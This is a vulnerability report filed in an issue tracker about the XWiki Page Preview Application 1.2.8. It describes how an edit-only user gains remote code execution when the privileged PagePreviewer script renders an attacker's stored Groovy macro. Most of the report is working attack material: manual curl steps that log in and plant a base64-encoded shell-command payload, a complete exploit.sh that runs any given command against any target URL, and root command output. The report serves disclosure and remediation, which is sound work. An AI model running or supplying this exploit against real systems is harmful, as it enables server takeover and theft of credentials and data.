Uploaded image for project: 'Page Preview Application'
  1. Page Preview Application
  2. PAGEPREV-19

Page Preview Application renders attacker-controlled pages with privileged author rights

    XMLWordPrintable

Details

    • Bug
    • Resolution: Unresolved
    • Critical
    • None
    • 1.2.8
    • Unknown

    Description

      Page Preview Application renders attacker-controlled pages with privileged author rights

      Summary

      The official Page Preview Application renders the content of an attacker-selected page from inside the administrator-authored XWiki.PagePreviewer Groovy script. A registered user who can edit any page can store a script macro that is correctly rejected when the page is viewed directly, then request a preview of that page. The nested
      getRenderedContent() call inherits the privileged Page Previewer execution context and executes the attacker's macro.

      This allows a user without SCRIPT, PROGRAM, or ADMIN rights to execute arbitrary JVM code and operating-system commands as the account running XWiki. No administrator or victim interaction is required after the extension has been installed.

      Affected products

      • Ecosystem: Maven / XWiki Extension Manager
      • Package: org.xwiki.contrib:application-page-preview-ui
      • Confirmed affected version: 1.2.8
      • Affected versions: At least 1.2.8; 
      • Patched versions: None known at the time of testing

      Preconditions

      • XWiki 18.6.0.
      • Official org.xwiki.contrib:application-page-preview-ui version 1.2.8 installed through Extension Manager.
      • A registered user cve with EDIT but without SCRIPT, PROGRAM, or ADMIN rights.

      The PoC authenticates through the normal XWiki login form and uses only the resulting low-user session.

      Technical details

      The vulnerable data flow in release 1.2.12 is in XWiki/PagePreviewer.xml:

      def path = request.path
      if ((path != null)&&(path!="")&&(path!="undefined")) {
        def reference = convertPathToDocumentReference(path)
        // ...
        if (reference != doc.documentReference) {
          def page = xwiki.getDocument(reference)
          def pageContent = page.getValue("definition");
          if (pageContent==null||pageContent=="")
           pageContent = page.content
          content = page.getRenderedContent(pageContent, page.syntaxId, "html/5.0")
        }
      }
      

      The source checkout contains the same flow at pages/src/main/resources/XWiki/PagePreviewer.xml:81-94. The official 1.2.8 XAR downloaded from the XWiki Maven repository was independently inspected and contains the same lines.

      Path is controlled by the HTTP client. It is converted to a document reference and used to select both the page and the content passed to getRenderedContent(). XWiki.PagePreviewer is installed with a privileged author because its
      outer code is a Groovy macro and the extension documentation explicitly requires programming rights. The nested render does not restore the selected document's low-privileged author context before executing its script macros.

      Consequently, the authorization decision for script execution is made using the privileged Page Previewer context, not
      the author of the attacker-controlled content.

      Manual proof of concept

      Manual terminal reproduction

      1. Log in and verify the attacker context

      BASE='http://127.0.0.1:8888'
      USER_NAME='cve'
      USER_PASSWORD='cve1234'
      WORK=$(mktemp -d /tmp/page-preview-manual.XXXXXX)
      COOKIE="$WORK/cookies.txt"
      PAGE="PagePreviewIdProof$(date +%s%N)"
      
      curl -sS -c "$COOKIE" -b "$COOKIE" \
        "$BASE/bin/login/XWiki/XWikiLogin" -o "$WORK/login.html"
      LOGIN_TOKEN=$(sed -n 's/.*name="form_token"[^>]*value="\([^"]*\)".*/\1/p' \
        "$WORK/login.html" | head -n1)
      
      curl -fsS -c "$COOKIE" -b "$COOKIE" -X POST \
        "$BASE/bin/loginsubmit/XWiki/XWikiLogin" \
        --data-urlencode "j_username=$USER_NAME" \
        --data-urlencode "j_password=$USER_PASSWORD" \
        --data-urlencode "form_token=$LOGIN_TOKEN" -o /dev/null
      
      curl -fsS -b "$COOKIE" "$BASE/bin/view/Main/WebHome" -o "$WORK/main.html"
      grep -o 'data-xwiki-user-reference="[^"]*"' "$WORK/main.html" | head -n1
      
      curl -sS -b "$COOKIE" -o /dev/null -w 'Global administration HTTP: %{http_code}\n' \
        "$BASE/bin/admin/XWiki/XWikiPreferences?editor=globaladmin"
      

      Expected output:

      data-xwiki-user-reference="xwiki:XWiki.cve"
      Global administration HTTP: 403
      

      2. Create an attacker-authored page containing the id payload

      COMMAND_B64=$(printf '%s' '/usr/bin/id' | base64 -w0)
      CONTENT="{{groovy}}def command=new String(java.util.Base64.getDecoder().decode(\"$COMMAND_B64\"),\"UTF-8\");def process=new ProcessBuilder(\"/bin/sh\",\"-c\",command).redirectErrorStream(true).start();process.waitFor();println(\"PAGEPREVIEW-RCE-B64-\"+java.util.Base64.getEncoder().encodeToString(process.inputStream.bytes)){{/groovy}}"
      PAGE_XML="<page xmlns=\"http://www.xwiki.org\"><title>Page Preview id proof</title><syntax>xwiki/2.1</syntax><content>${CONTENT}</content></page>"
      
      curl -sS -b "$COOKIE" -X PUT \
        -H 'Content-Type: application/xml' \
        --data-binary "$PAGE_XML" \
        "$BASE/rest/wikis/xwiki/spaces/Sandbox/pages/$PAGE" \
        -o "$WORK/page.xml" -w 'Page creation HTTP: %{http_code}\n'
      

      Expected result: HTTP 201 on first creation (or 202 when updating).

      3. Negative control: direct rendering is denied

      curl -fsS -b "$COOKIE" "$BASE/bin/view/Sandbox/$PAGE?xpage=plain" \
        -o "$WORK/control.html"
      grep -o 'script macro is not allowed[^<]*' "$WORK/control.html" | head -n1
      ! grep -q 'PAGEPREVIEW-RCE-B64-' "$WORK/control.html"
      

      Expected result: XWiki reports that the Groovy script macro is not allowed and the command marker is absent.

      4. Trigger the official Page Preview endpoint and decode stdout

      curl -fsS -b "$COOKIE" --get \
        "$BASE/bin/get/XWiki/PagePreviewer" \
        --data-urlencode "path=/bin/view/Sandbox/$PAGE" \
        --data-urlencode 'xpage=plain' \
        --data-urlencode 'outputSyntax=plain' -o "$WORK/result.json"
      
      MARKER=$(grep -o 'PAGEPREVIEW-RCE-B64-[A-Za-z0-9+/=]*' "$WORK/result.json" | head -n1)
      OUTPUT_B64=${MARKER#PAGEPREVIEW-RCE-B64-}
      
      echo '----- command output -----'
      printf '%s' "$OUTPUT_B64" | base64 -d
      echo
      echo '----- end command output -----'
      echo "Negative-control page (direct Groovy execution must be blocked): $BASE/bin/view/Sandbox/$PAGE"
      echo "Vulnerable Page Preview trigger: $BASE/bin/get/XWiki/PagePreviewer?path=%2Fbin%2Fview%2FSandbox%2F$PAGE&xpage=plain&outputSyntax=plain"
      echo "Evidence directory: $WORK"
      

      Confirmed output in the local lab:

      ----- command output -----
      uid=0(root) gid=0(root) groups=0(root)
      ----- end command output -----
      

      The exact script blocked in step 3 executes when rendered through XWiki.PagePreviewer.

      5. Verify author separation

      curl -fsS -b "$COOKIE" -H 'Accept: application/xml' \
        "$BASE/rest/wikis/xwiki/spaces/Sandbox/pages/$PAGE" \
        | grep -oE '<(author|creator)>[^<]+'
      
      curl -fsS -b "$COOKIE" -H 'Accept: application/xml' \
        "$BASE/rest/wikis/xwiki/spaces/XWiki/pages/PagePreviewer" \
        | grep -oE '<(author|creator)>[^<]+'
      

      Observed authors in the lab:

      <author>XWiki.cve
      <creator>XWiki.cve
      <author>XWiki.test
      <creator>XWiki.test
      

      Automated proof of concept

      Save the following complete script as exploit.sh. It accepts the target, credentials, and command through
      -url, -u, -p, and -c.

      #!/usr/bin/env bash
      set -euo pipefail
      
      usage()
      {
        cat <<'EOF'
      Usage:
        ./exploit.sh -url <base_url> -u <username> -p <password> -c <command>
      
      Example:
        ./exploit.sh -url http://127.0.0.1:8888 -u cve -p cve1234 -c id
      EOF
      }
      
      BASE=''; USER_NAME=''; USER_PASSWORD=''; COMMAND=''
      while [[ $# -gt 0 ]]; do
        case "$1" in
          -url|--url) [[ $# -ge 2 ]] || { usage >&2; exit 2; }; BASE=$2; shift 2 ;;
          -u|--username) [[ $# -ge 2 ]] || { usage >&2; exit 2; }; USER_NAME=$2; shift 2 ;;
          -p|--password) [[ $# -ge 2 ]] || { usage >&2; exit 2; }; USER_PASSWORD=$2; shift 2 ;;
          -c|--command) [[ $# -ge 2 ]] || { usage >&2; exit 2; }; COMMAND=$2; shift 2 ;;
          -h|--help) usage; exit 0 ;;
          *) echo "Unknown argument: $1" >&2; usage >&2; exit 2 ;;
        esac
      done
      [[ -n "$BASE" && -n "$USER_NAME" && -n "$USER_PASSWORD" && -n "$COMMAND" ]] || { usage >&2; exit 2; }
      
      BASE=${BASE%/}
      WORK=$(mktemp -d /tmp/page-preview-rce.XXXXXX)
      COOKIE="$WORK/cookies.txt"
      PAGE="PagePreviewCommandProof$(date +%s%N)"
      COMMAND_B64=$(printf '%s' "$COMMAND" | base64 -w0)
      
      echo '[1/5] Logging in as the low-privileged user'
      curl -sS -c "$COOKIE" -b "$COOKIE" "$BASE/bin/login/XWiki/XWikiLogin" -o "$WORK/login.html"
      LOGIN_TOKEN=$(sed -n 's/.*name="form_token"[^>]*value="\([^"]*\)".*/\1/p' "$WORK/login.html" | head -n1)
      [[ -n "$LOGIN_TOKEN" ]]
      curl -fsS -c "$COOKIE" -b "$COOKIE" -X POST "$BASE/bin/loginsubmit/XWiki/XWikiLogin" \
        --data-urlencode "j_username=$USER_NAME" --data-urlencode "j_password=$USER_PASSWORD" \
        --data-urlencode "form_token=$LOGIN_TOKEN" -o /dev/null
      curl -fsS -b "$COOKIE" "$BASE/bin/view/Main/WebHome" -o "$WORK/main.html"
      grep -q "data-xwiki-user-reference=\"xwiki:XWiki.${USER_NAME}\"" "$WORK/main.html"
      echo "Authenticated identity: XWiki.$USER_NAME"
      
      echo '[2/5] Verifying lack of global administration access'
      ADMIN_CODE=$(curl -sS -b "$COOKIE" -o /dev/null -w '%{http_code}' \
        "$BASE/bin/admin/XWiki/XWikiPreferences?editor=globaladmin")
      echo "Global administration HTTP: $ADMIN_CODE"
      [[ "$ADMIN_CODE" == 403 ]]
      
      echo '[3/5] Creating an attacker-authored page containing the command payload'
      CONTENT="{{groovy}}def command=new String(java.util.Base64.getDecoder().decode(\"$COMMAND_B64\"),\"UTF-8\");def process=new ProcessBuilder(\"/bin/sh\",\"-c\",command).redirectErrorStream(true).start();process.waitFor();println(\"PAGEPREVIEW-RCE-B64-\"+java.util.Base64.getEncoder().encodeToString(process.inputStream.bytes)){{/groovy}}"
      PAGE_XML="<page xmlns=\"http://www.xwiki.org\"><title>Page Preview command proof</title><syntax>xwiki/2.1</syntax><content>${CONTENT}</content></page>"
      PAGE_CODE=$(curl -sS -b "$COOKIE" -X PUT -H 'Content-Type: application/xml' \
        --data-binary "$PAGE_XML" "$BASE/rest/wikis/xwiki/spaces/Sandbox/pages/$PAGE" \
        -o "$WORK/page.xml" -w '%{http_code}')
      echo "Page creation HTTP: $PAGE_CODE"
      [[ "$PAGE_CODE" == 201 || "$PAGE_CODE" == 202 ]]
      
      echo '[4/5] Negative control: direct rendering blocks Groovy'
      curl -fsS -b "$COOKIE" "$BASE/bin/view/Sandbox/$PAGE?xpage=plain" -o "$WORK/control.html"
      grep -q 'script macro is not allowed' "$WORK/control.html"
      ! grep -q 'PAGEPREVIEW-RCE-B64-' "$WORK/control.html"
      echo 'Direct page rendering: blocked'
      
      echo '[5/5] Triggering XWiki.PagePreviewer'
      curl -fsS -b "$COOKIE" --get "$BASE/bin/get/XWiki/PagePreviewer" \
        --data-urlencode "path=/bin/view/Sandbox/$PAGE" \
        --data-urlencode 'xpage=plain' \
        --data-urlencode 'outputSyntax=plain' -o "$WORK/result.json"
      MARKER=$(grep -o 'PAGEPREVIEW-RCE-B64-[A-Za-z0-9+/=]*' "$WORK/result.json" | head -n1)
      [[ -n "$MARKER" ]]
      OUTPUT_B64=${MARKER#PAGEPREVIEW-RCE-B64-}
      echo '----- command output -----'
      printf '%s' "$OUTPUT_B64" | base64 -d
      echo
      echo '----- end command output -----'
      echo "Negative-control page (direct Groovy execution must be blocked): $BASE/bin/view/Sandbox/$PAGE"
      echo "Vulnerable Page Preview trigger: $BASE/bin/get/XWiki/PagePreviewer?path=%2Fbin%2Fview%2FSandbox%2F$PAGE&xpage=plain&outputSyntax=plain"
      echo "Evidence directory: $WORK"
      

      Run it as follows:

      chmod +x exploit.sh
      ./exploit.sh -url http://127.0.0.1:8888 -u cve -p cve1234 -c id
      

      Impact

      This is an authenticated remote code execution and privilege-escalation vulnerability. Any registered user with EDIT rights on one page can execute arbitrary code with the privileges of the XWiki JVM. Depending on the deployment, this allows reading XWiki configuration and database credentials, modifying or deleting wiki data, accessing files available to the service account, and pivoting to other services reachable from the server.

      On an open wiki where Guest has EDIT rights, the same primitive may become unauthenticated RCE. 

      Severity

      CVSS 4.0: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N (Critical)

      Weaknesses

      CWE: CWE-863 (Incorrect Authorization), CWE-94 (Improper Control of Generation of Code)

      Suggested remediation

      Do not render attacker-selected content while the Page Previewer author is active. Execute rendering under the selected document's effective metadata author and source reference, and reject the preview if the caller lacks VIEW rights.
      Prefer a restricted rendering mode that disables script macros for previews. Add a regression test where an EDIT-only user's page contains a Groovy macro: direct rendering and Page Preview rendering must both reject it.

      Attachments

        1. image-2026-08-14-21-39-39-537.png
          102 kB
          Łukasz Rybak
        2. image-2026-08-14-21-39-58-888.png
          62 kB
          Łukasz Rybak
        3. image-2026-08-14-21-40-48-334.png
          35 kB
          Łukasz Rybak

        Activity

          People

            Unassigned Unassigned
            lukasz-rybak Łukasz Rybak
            Votes:
            0 Vote for this issue
            Watchers:
            0 Start watching this issue

            Dates

              Created:
              Updated: